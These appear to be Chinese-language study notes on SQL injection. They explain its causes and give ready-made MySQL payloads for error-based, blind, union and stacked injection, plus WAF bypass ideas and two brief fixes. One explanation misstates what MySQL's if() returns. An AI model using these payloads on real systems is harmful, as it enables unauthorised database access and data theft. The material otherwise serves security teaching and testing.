4-注入漏洞
一,sql注入
1.sql注入的原因
语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。
注入产生条件:
SQL注入漏洞的产生需要满足一下两个条件。
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数代入数据库查询:传入的参数拼接到SQL语句,并且带入数据库查询。
2.sql注入知识点
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
2.1增删查改
SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2' INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 DELETE FROM 表名称 WHERE 列名称 = 值
2.2 Mysql常用函数
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
2.3 mysql注释
注释符:
三种注释符号:
1.#
2.--空格
3./**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF
3.注入分类
3.1 报错注入
Updatexml()函数: UpdateXML(xml_target, xpath_expr, new_xml) xml_target:: 需要操作的xml片段 xpath_expr: 需要更新的xml路径(Xpath格式) new_xml: 更新后的内容 ‘ and updatexml(1,concat(0x7e,(select database()),0x7e),0) ‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘test’ limit 0,1),0x7e),0) ‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘test’ and table_name=‘users’ limit 0,1),0x7e),0)
3.2 盲注
3.2.1 盲注-时间
if (expr1,expr2,expr3) :若expr1为true,则执行expr1,否则执行expr3
判断数据库库名长度:and if (length(database())>1,sleep(5),1)
判断数据库库名:and if (substr(database(),1,1)='t',sleep(5),1)
判断表名:and if (substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='p',sleep(5),1)
判断字段名:and if (substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)
判断内容:and if (substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)
3.2.2 盲注-布尔
判断数据库库名长度:and length(database())>=1 4个长度,4个字符
判断数据库库名: and substr(database(),1,1)=‘t’
判断表名:and substr((select table_name from information_schema.tables where table_schema=‘database()’ limit 0,1),1,1)=‘u’
判断字段名:and substr((select column_name from information_schema.columns where table_schema=‘database()’ and table_name=‘表名’ limit 0,1),1,1)=‘i’
判断数据:and substr((select 列名 from database().表名 limit 0,1),1,1)=‘z’
3.3 Union注入
id =1
id =1
id =1 and 1=1
id =1 and 1=2
id =1 order by 6
id =1 order by 7
id =1 union select 1,2,3,4,5,6
id =1 union select 1,2,database(),4,5,6
Select table_name from information_schema.tables where table_schema=database() limit 0,1
Select column_name from information_schema.columns where table_schema=database() and table_name= ‘email’ limit 0,1
Select username from test.users limit 0,1
3.4 堆叠注入
if (expr1,expr2,expr3) :若expr1为true,则执行expr1,否则执行expr3 判断数据库库名长度:1;select if (length(database())>1,sleep(5),1) 判断数据库库名:1;select if(substr(database(),1,1)='t',sleep(5),1) 判断表名:1;select if (substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='p',sleep(5),1) 判断字段名:1;select if (substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='i',sleep(5),1) 判断内容:1;select if (substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)
3.5二次注入
原理分析:
第一次注入没有存在注入点
存在注入点的位置位于第二次内部查询的时候
3.6 宽字节注入
原理分析: addslashes()这个函数会将'转义为\ gbk编码的时候%df和\的编码%5c合并为一个字符運 从而'可以逃逸
3.7 Cookie注入
原理分析:
从cookie头部传入id参数
3.8 Base64注入
原理:
使用base64解码之后进行带入查询
3.9 XFF注入
原理:
x-forwarded-for传入IP地址进行注入
4.SQL注入绕过技术
4.1 大小写绕过
4.2 双写绕过
4.3 编码绕过
4.4 内联注释绕过注入
5.sql注入修复建议
1.过滤危险字符
2.使用预编译语句